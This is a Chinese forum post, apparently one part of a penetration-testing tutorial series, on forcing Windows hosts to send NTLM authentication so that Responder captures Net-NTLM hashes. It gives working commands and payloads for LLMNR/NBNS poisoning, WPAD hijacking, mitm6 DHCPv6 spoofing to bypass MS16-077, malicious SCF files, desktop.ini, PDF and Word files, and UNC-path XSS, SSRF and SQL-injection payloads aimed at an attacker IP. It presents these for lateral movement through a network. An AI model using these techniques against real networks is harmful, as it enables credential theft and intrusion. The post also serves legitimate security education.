本帖最后由 zhaorong 于 2021-6-24 15:43 编辑
前言
在上一节中 我们学习了 NTLM 的概念与 NTLM 身份认证的流程。在这篇文章中 我们将详细的介绍在内网
中发送 NTLM 请求的方式 为的是给下一篇我们学习如何利用 NTLM 进行攻击打下基础。
通过控制内网主机发送 NTLM 请求 我们可以使用 responder 等工具截获主机用户的 Net-NTLM Hash
此 Hash 虽然不能进行哈希传递 但是有了Net-NTLM Hash之后 我们可以对 Net-NTLM Hash 进暴力破
解或重放 从而实现内网的横向渗透。
Responder 工具
项目地址:https://github.com/SpiderLabs/Responder
Responder 工具是一款可以在局域网模拟各种服务器进行中间人攻击的内网渗透神器。其可以在局域网中
进行DNS欺骗LLMNR 欺骗等 实现对用户 NTLM 口令的探测以及 DNS 钓鱼 同时其还可以模拟包括 FTP
HTTP 在内的多种服务器,并记录用户登录凭证。
- Usage: responder -I eth0 -w -r -f
- or:
- responder -I eth0 -wrf
- Options:
- --version show program's version number and exit
- -h, --help show this help message and exit
- -A, --analyze Analyze mode. This option allows you to see NBT-NS,
- BROWSER, LLMNR requests without responding.
- -I eth0, --interface=eth0
- Network interface to use, you can use 'ALL' as a
- wildcard for all interfaces
- -i 10.0.0.21, --ip=10.0.0.21
- Local IP to use (only for OSX)
- -e 10.0.0.22, --externalip=10.0.0.22
- Poison all requests with another IP address than
- Responder's one.
- -b, --basic Return a Basic HTTP authentication. Default: NTLM
- -r, --wredir Enable answers for netbios wredir suffix queries.
- Answering to wredir will likely break stuff on the
- network. Default: False
- -d, --NBTNSdomain Enable answers for netbios domain suffix queries.
- Answering to domain suffixes will likely break stuff
- on the network. Default: False
- -f, --fingerprint This option allows you to fingerprint a host that
- issued an NBT-NS or LLMNR query.
- -w, --wpad Start the WPAD rogue proxy server. Default value is
- False
- -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
- Upstream HTTP proxy used by the rogue WPAD Proxy for
- outgoing requests (format: host:port)
- -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
- retrieval. This may cause a login prompt. Default:
- False
- -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
- authentication for the proxy. WPAD doesn't need to be
- ON. This option is highly effective when combined with
- -r. Default: False
- --lm Force LM hashing downgrade for Windows XP/2003 and
- earlier. Default: False
- -v, --verbose Increase verbosity
复制代码
在之后的操作中 我们都会使用这个工具截获受害人的 Net-NTLM Hash。
利用 LLMNR 和 NetBIOS 欺骗
LLMNR 是什么?
链路本地多播名称解析 LLMNR 是一个基于协议的域名系统 DNS 数据包的格式 使得双方的IPv4和IPv6的主机
来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用DNS客户端会使用LLMNR本地链
路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。
当一台主机想要访问到另一台主机时 主机在自己的内部名称缓存中查询名称 如果在缓存中没有找到名称那么
主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息 即DNS解析会失
败那么就会转为使用LLMNR链路本地多播名称解析。
使用链路本地多播名称解析时 主机会通过 UDP 向局域网内发送多播查询 查询主机名对应的IP查询范围
被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后 收到该请求的主机会
判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机
如果不是 则丢弃该请求。
NetBIOS 是什么?
Netbios(Network Basic Input Output System):网络基本输入输出系统 它提供了OSI模型中的会话层服务 让在不同计
算机上运行的不同程序 可以在局域网中 互相连线 以及分享数据。严格来说 Netbios是一种应用程序接口 API 系统可以利
用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的
基础上工作的。NetBIOS也是计算机的标识名称 主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名
解析查询应答过程。在Windows操作系统中 默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
Windows系统名称解析顺序
1.本地hosts文件 %windir%\System32\drivers\etc\hosts
2.DNS缓存/DNS服务器
3.链路本地多播名称解析 LLMNR 和NetBIOS名称服务NBT-NS
也就是说 如果在缓存中没有找到名称 DNS名称服务器又请求失败时 Windows系统就会通过链路本地多播名称解析
LLMNR 和Net-BIOS名称服务 NBT-NS 在本地进行名称解析。这时 客户端就会将未经认证的UDP广播到网络中 询
问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证 并且广播到整个网络 从而允许网络上
的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播 攻击者可以伪装成受害者要访问的目标机
器并从而让受害者交出相应的登陆凭证。
利用过程
我们利用SMB协议获取目标网络中计算机的Net-NTML Hash。当用户输入 不存在 包含错误或者 DNS中没有
的主机名时主机先在自己的内部名称缓存中查询名称 如果没找到 主机就会向DNS服务器查询 而DNS解析必定
会失败 此时就会退回LLMNR和NetBIOS进行计算机名称解析。那么攻击者就能够代替网络上任何不存在的主
机回答请求 并诱导搜索内容的主机连接到我们。如果攻击者使用 Metasploit 和Responder 等工具 就可以要
求验证受害者主机的身份 而如果攻击者被认为是这些主机所在的本地网络中的一部分时 他们就会把自己进行
哈希后的Windows凭据发给攻击者。核心过程与Arp欺骗类似。
在攻击机Kali上使用 responder 工具开启监听:
-I:指定使用的网卡
-f:允许攻击者查看受害者的主机指纹
-v:显示详细信息 responder 在截获目标的 Net-NTLM Hash 后 会将 Net-NTLM Hash 记录在日志中
之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个-v选项
如上图 ON 代表针对服务数据包的监听开启 OFF 代表关闭监听。
然后 当受害者访问一个不存在的主机资源时 比如:
- net use \\bunny
- dir \\bunny\c$
复制代码
也可以在 运行 里面连接:
此时会尝试连接主机 bunny 然而通过检查内部名称缓存和DNS都没找到就会通过
LLMNR和NetBIOS 在局域网中进行搜索。
此时攻击者的responder便收到了受害者用户的Net-NTLM Hash:
利用 WPAD 劫持
PAC:
全称代理自动配置文件 Proxy Auto-Config 该文件定义了浏览器和其他用户代理如何自动选择适当的代理服
务器来访问一个URL。要使用 PAC 我们应当在一个网页服务器上发布一个PAC文件并且通过在浏览器的代理
链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。在 WPAD标
准中PAC 文件使用 wpad.dat,PAC文件举例:
- #!js
- function FindProxyForURL(url, host) {
- if (url== 'http://www.baidu.com/') return 'DIRECT';
- if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
- if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
- return 'DIRECT';
- }
复制代码
WPAD:
WPAD 网络代理自动发现协议是一种客户端使用 DCHP DNS LLMNR NBNS 协议来定位一个代理配置
文件PACURL的方法。WPAD 通过让浏览器自动发现代理服务器 查找存放 PAC 文件的主机来定位代理
配置文件 下载编译并运行 最终自动使用代理访问网络。
在浏览器设置为 自动检测代理设置 的情况下 用户在访问网页时 首先会查询 PAC 文件的位置然
后获取PAC文件 将PAC文件作为代理配置文件。查询PAC文件的顺序如下:
1.通过 DHCP 服务器
2.查询 WPAD 主机的IP
Hosts
DNS (cache / server)
LLMNR
NBNS
这个地方就涉及到两种攻击劫持的方式。
配合 LLMNR/NBNS 投毒
一个最早的攻击也是最典型的劫持方式就是利用 LLMNR/NBNS 欺骗来让受害者从攻击者获取 PAC
文件PAC 文件指定攻击者就是代理服务器然后攻击者就可以劫持受害者的 HTTP 流量 在其中插入任
意 HTML 标签从而获得用户的 Net-NTLM Hash。
当你的浏览器设置为如下图所示的 自动检测代理设置 的情况下:
在受害者在访问网页时 会首先查询PAC文件的位置。假设查询的地址是 WPAD/wpad.dat 且 WPAD是个错误的
域名 如果没有在域内专门配置这个域名的话 那么DNS解析失败的话 就会使用LLMNR 发起广播包询问WPAD对
应的 IP是多少这时候 Responder 通过LLMNR 投毒将这个不存在的 WPAD 的 IP 指向 Responder 所在的服务
器然后受害者会下载攻击者事先准备好的 wpad.dat 文件之后攻击者就可以劫持受害者的 HTTP 流量 客户端的
流量就会经过攻击者的机器。
Responder 会通过伪造如下PAC文件将代理指向 ISAProxySrv:3141:
- function FindProxyForURL(url, host){
- if ((host == "localhost")
- || shExpMatch(host, "localhost.*")
- ||(host == "127.0.0.1")
- || isPlainHostName(host)) return "DIRECT";
- if (dnsDomainIs(host, "RespProxySrv")
- ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
- return "DIRECT";
- return 'PROXY ISAProxySrv:3141; DIRECT';}
复制代码
受害者会使用ISAProxySrv:3141作为代理 但是受害者不知道 ISAProxySrv 对应的IP是什么 所以会再次查询
Responder 再次通过LLMNR 投毒进行欺骗。将ISAProxySrv指向 Responder本身 然后开始中间人攻击这
个时候可以做的事就很多了 比如插入 XSS Payload 获取 Net-NTLM Hash中间人获取Post Cookie等参数
通过Basic认证进行钓鱼 诱导下载exe文件等 这里就不详细展开了。
下面我们进行演示。
在攻击机Kali上使用 responder工具开启监听:
- responder -I eth0 -r on -v -F on -w on
复制代码
-w:开启 WPAD 服务
-F:强制进行
然后 当受害者在主机上打开浏览器访问任何网页时 responder即可获得
受害者的 Net-NTLM Hash:
但是很不幸的是 微软在2016年发布了 MS16-077 安全公告 添加了两个重要的保护措施以缓解这类攻击行为:
1.系统再也无法通过广播协议来解析WPAD文件的位置只能通过使用 DHCP 或 DNS 协议完成该任务。
2.更改了 PAC 文件下载的默认行为 以便当 WinHTTP 请求PAC文件时不会自动发送客户端
的域凭据来响应 NTLM 或协商身份验证质询。
但是这两个保护措施并不是不能绕过的 我们继续往下看。
配合 DHCP V6 Bypass MS16-077
当才说了 针对在查询 WPAD 的时候进行 LLMNR 投毒欺骗这种攻击方式微软添加了
两个重要的保护措施。但是这两个保护措施是可以依次进行绕过的。
一、我们先来尝试绕过第一个保护措施:
系统再也无法通过广播协议来解析 WPAD 文件的位置 只能通过使用DHCP或DNS协议完成该任务。
这条保护措施直接将之前那个配合LLMNR/NBNS 投毒这种方式给阉割了
但是我们回顾一下用户获取 PAC 文件的一般流程:
1.通过 DHCP 服务器
2.查询 WPAD 主机的IP
Hosts
DNS (cache / server)
LLMNR
NBNS
可知 虽然LLMNR/NBNS 投毒这种方法不能用了 但是通过DHCP和DNS协议还可以获取到 PAC 文件。
但是DHCP和DNS都有指定的服务器 不是通过广播包 而且DHCP服务器和DNS服务器我们是
不可控的所以没法进行投毒。
幸运的是安全研究人员并不将目光局限在 IPv4从Windows Vista以来 所有的Windows系统都
会默认启用 IPv6 网络 并且其优先级要高于 IPv4 网络。
在DHCPV6协议中客户端通过向组播地址[ff02::1:2]发送 Solicit报文来定位 DHCP V6服务器组播地址[ff02::1:2]
包括整个地址链路范围内的所有DHCPV6服务器和中继代理。 DHCP V6 的四步交互过程如下:
客户端向[ff02::1:2]组播地址发送一个"Solicit"请求报文
组播地址[ff02::1:2]包括整个地址链路范围内的 DHCP 服务器或中继代理回应"Advertise"消息告知客户端
客户端选择优先级最高的服务器并发送"Request"信息请求分配地址或其他配置信息
最后服务器回复包含确认地址、委托前缀和配置 如可用的DNS服务器等 的"Relay"消息。
可知 在最后一步 服务器回复包含确认地址 委托前缀和 IPv6 配置如可用的DNS服务器等的"Relay"消息。通俗点来
说就是 在可以使用 IPv6 的情况下 攻击者能接收到其他机器的 DHCP V6 组播包的情况下攻击者最后可以让受害者
的DNS 服务器地址设置为攻击者的 IPv6 地址 一旦受害者机器将攻击者设置为 IPv6 DNS服务器 它将立即开始查询
网络的 WPAD 配置由于这些 DNS 查询是发送给攻击者的 此时攻击者便可以使用自己的IP地址作为 WPAD 对应的
IP地址。至此 微软 MS16-077的第一个保护成功绕过。
Fox-IT公布了名为mitm6 的一个工具 可以实施这种攻击。
项目地址:https://github.com/fox-it/mitm6我们可以直
接使用pip进行安装:
下面我们演示一下过第一个保护措施的过程。
首先我们查看攻击机的网卡信息:
可见攻击机的 IPv6 为fe80::20c:29ff:fe0c:9ee0
然后安装 mitm6 工具并执行如下命令 侦听攻击者主机的eth0网卡上的 DHCPv6流量:
- mitm6 -d whoamianony.org -i eth0
复制代码
当受害者机器重启或重新进行网络配置 如重新插入网线 时 将会向 DHCP v6发送请求获取 IPv6 配置。
这个时候mitm6将回复这些 DHCPv6 请求 并在链接本地范围内为受害者分配一个 IPv6地址:
尽管在实际的IPv6网络中 这些地址是由主机自己自动分配的不需要由DHCP服务器配置但这使
我们有机会将攻击者IP设置为受害者的默认 IPv6 DNS服务器。如下图所示 受害者的DNS服务
器的地址成功被设置为攻击者的 IPv6地址:
此时攻击者便可以使用自己的IP地址作为 WPAD对应的IP地址。
详情请看:https://www.anquanke.com/post/id/94689
二、我们先来尝试绕过第一个保护措施:
更改了PAC文件下载的默认行为以便当 WinHTTP请求PAC文件时不会自动发送客户端的
域凭据来响应NTLM或协商身份验证质询。
这一个还是比较好绕过的。你是否还记得 我们在刚才演示WPAD配合LLMNR/NBNS 投毒截获Net-NTLM Hash时我们
在开启 responder 监听时加了一个-F选项。这个选项的的作用就是当浏览器再次请求wpad.dat文件时强制受害者使用
NTLM 认证 该选项是默认关闭的。当我们不加这个选项时 攻击者的responder仅能通过WPAD劫持嗅探到受害者的流
量并不能截获 Net-NTLM Hash 当我们加上这个-F选项后 responder 会向受害者的流量中注入恶意的 HTML代码如
XSS强制受害者使用NTLM 认证从而截获 Net-NTLM Hash。
可见responder在默认情况下本来就不想在 WPAD 劫持这一步获取 Net-NTLM Hash只有手动加了-F选
项才能开启 Net-NTLM Hash 的截获功能。所以 我们还想之前那样带着-F选项就可以了。
其他常见方法
在Windows上 比如常见的图标 系统命令等 都可以设置UNC路径类似\\softer这样的网络路径我们通过
将他们的UNC路径改为攻击者服务器的IP或者指定为一个不存在的主机名 从而触发LLMNR/NBNS 欺骗
使用 responder 工具获得受害者的 Net-NTLM Hash。
利用 desktop.ini 文件
desktop.ini是系统可识别的一个文件 每个文件夹底下都有一个desktop.ini文件 用来指定和存储文件
夹图标之类的个性设置 该文件默认不可见。去掉隐藏受保护的操作系统文件就可以看到:
打开desktop.ini文件看到如下内容:
然后我们尝试修改desktop.ini文件 将图标路径IconResource改成UNC路径
指向攻击者的服务器或一个不存在的主机名:
当用户访问该文件夹的时候 就会去访问攻击者指定的UNC路径 我们就能
获取受害者的Net-NTLM Hash:
利用SCF文件
SCF文件是Windows 资源管理器命令 文件 它也是一种可执行文件该类型文
件由 Windows Explorer Command 解释。
当一个文件加中含有scf后缀的文件时 由于scf文件包含了 IconFile 属性 所以 Explore.exe 会尝试获取文件的图标
而IconFile 属性是支持UNC路径的 所以我们也可以通过这里的 IconFile属性截获受害者的 Net-NTLM Hash。
在一个文件夹下面新建一个 test.scf 文件写入如下:
- [Shell]
- Command=2
- IconFile=\\bunny\scf\test.ico
- [Taskbar]
- Command=ToggleDesktop
复制代码
当用户访问该文件夹的时候我们就会获得用户的 Net-NTLM Hash。
系统命令携带UNC路径
类似于net use \\ip\xxx或dir \\ip\xxx这样。但是Windows中还有很多系统命令是支持传进UNC路径的
执行的时候我们就可以拿到用户的Net-NTLM Hash了。下面累出了一些可以携带UNC路径的系统命令:
- net.exe use \\hostshare
- attrib.exe \\hostshare
- bcdboot.exe \\hostshare
- bdeunlock.exe \\hostshare
- cacls.exe \\hostshare
- certreq.exe \\hostshare #(noisy, pops an error dialog)
- certutil.exe \\hostshare
- cipher.exe \\hostshare
- ClipUp.exe -l \\hostshare
- cmdl32.exe \\hostshare
- cmstp.exe /s \\hostshare
- colorcpl.exe \\hostshare #(noisy, pops an error dialog)
- comp.exe /N=0 \\hostshare \\hostshare
- compact.exe \\hostshare
- control.exe \\hostshare
- convertvhd.exe -source \\hostshare -destination \\hostshare
- Defrag.exe \\hostshare
- diskperf.exe \\hostshare
- dispdiag.exe -out \\hostshare
- doskey.exe /MACROFILE=\\hostshare
- esentutl.exe /k \\hostshare
- expand.exe \\hostshare
- extrac32.exe \\hostshare
- FileHistory.exe \\hostshare #(noisy, pops a gui)
- findstr.exe * \\hostshare
- fontview.exe \\hostshare #(noisy, pops an error dialog)
- fvenotify.exe \\hostshare #(noisy, pops an access denied error)
- FXSCOVER.exe \\hostshare #(noisy, pops GUI)
- hwrcomp.exe -check \\hostshare
- hwrreg.exe \\hostshare
- icacls.exe \\hostshare
- licensingdiag.exe -cab \\hostshare
- lodctr.exe \\hostshare
- lpksetup.exe /p \\hostshare /s
- makecab.exe \\hostshare
- msiexec.exe /update \\hostshare /quiet
- msinfo32.exe \\hostshare #(noisy, pops a "cannot open" dialog)
- mspaint.exe \\hostshare #(noisy, invalid path to png error)
- msra.exe /openfile \\hostshare #(noisy, error)
- mstsc.exe \\hostshare #(noisy, error)
- netcfg.exe -l \\hostshare -c p -i foo
复制代码
利用 PDF
PDF规范允许为GoTobe 和 GoToR条目加载远程内容。PDF文件可以添加一项功能请求远程 SMB 服务器的文件。
首先下载一个利用脚本Worse-PDF:https://github.com/3gstudent/Worse-PDF 该脚本可以将普通的PDF文
件转换为恶意文件 从Windows主机中窃取 Net-NTLM Hash。
执行如下命令:
- python WorsePDF.py evil.pdf 192.168.93.131
- # python Worse-PDF.py evil.pdf <攻击者IP或不存在的主机>
复制代码
然后将生成的evil.pdf.malicious.pdf想办法上传到受害者主机 当受害者使用PDF阅读器打开这
个恶意的PDF文件时 攻击机上的responder就会获取到用户的Net-NTLM Hash:
利用 Office
首先新建一个word 并插入一张图片:
保存。然后将word文件的后缀改为.zip 并使用zip压缩软件打开:
进入word\_rels目录 修改 document.xml.rels 文件。找到刚才插入的图片所对应的Target 参数:
将其修改为一个任意的UNC路径 并加上一个TargetMode="External"属性:
修改后保存 并将zip后缀改回.docx。
然后将生成的恶意的word文件想办法上传到受害者主机 当受害者打开这个恶意的word文件时
攻击机上的responder就会获取到用户的 Net-NTLM Hash:
利用常见 Web 漏洞
利用 XSS 漏洞
由于很多HTML标签可以使用href或src属性访问UNC路径 那我们便可以尝试使用XSS向量触
发SMB请求发送并截获 Net-NTLM Hash。如下所示 我们在目标服务器的
- <script src="\\192.168.93.131\xss">
- 或
- <script src="\\bunny\xss">
复制代码
利用 SSRF 漏洞
在SSRF 漏洞里面 如果支持file://协议 并且file://协议能加载远
程资源的话我们能拿到 Net-NTLM Hash。
下面我们使用 PHP 代码做演示:
- // ssrf.php
- <?php
- if (isset($_GET['url'])){
- $link = $_GET['url'];
- $curlobj = curl_init(); // 创建新的 cURL 资源
- curl_setopt($curlobj, CURLOPT_POST, 0);
- curl_setopt($curlobj,CURLOPT_URL,$link);
- curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
- $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
- curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
-
- // $filename = './curled/'.rand().'.txt';
- // file_put_contents($filename, $result);
- echo $result;
- }
- ?>
复制代码
假设目标主机存在 SSRF漏洞 我们便可以构造如下payload 即可:
- /ssrf.php?url=file://192.168.93.131/source
- /ssrf.php?url=file://bunny/source
复制代码
但是我在本地测试并没有成功可能是我太菜了。
### 利用 MySQL
如果存在MySQL注入的话 是可以通过带外通信把数据带出来。利用的是 load_file()函数
该函数支持远程加载并且支持UNC路径那么我们便可以在存在sql注入的地方使用该函数
触发SMB请求 截获 Net-NTLM Hash。
- -1' union select load_file('\\\\192.168.93.131\\mysql')#
- -1' union select load_file('\\\\bunny\\mysql')#
复制代码
执行payload之后成功拿到了Net-NTLM Hash:
Ending......
在本篇文章中 我们通过各种方法 控制内网主机发送NTLM请求 并截获了受害者的 Net-NTLM Hash此Hash
虽然不能进行哈希传递 但是有了Net-NTLM Hash之后 我们可以对 Net-NTLM Hash 进暴力破解 或重放 从
而实现内网的横向渗透 我们将在下一篇文章中进行详细的讲解。 |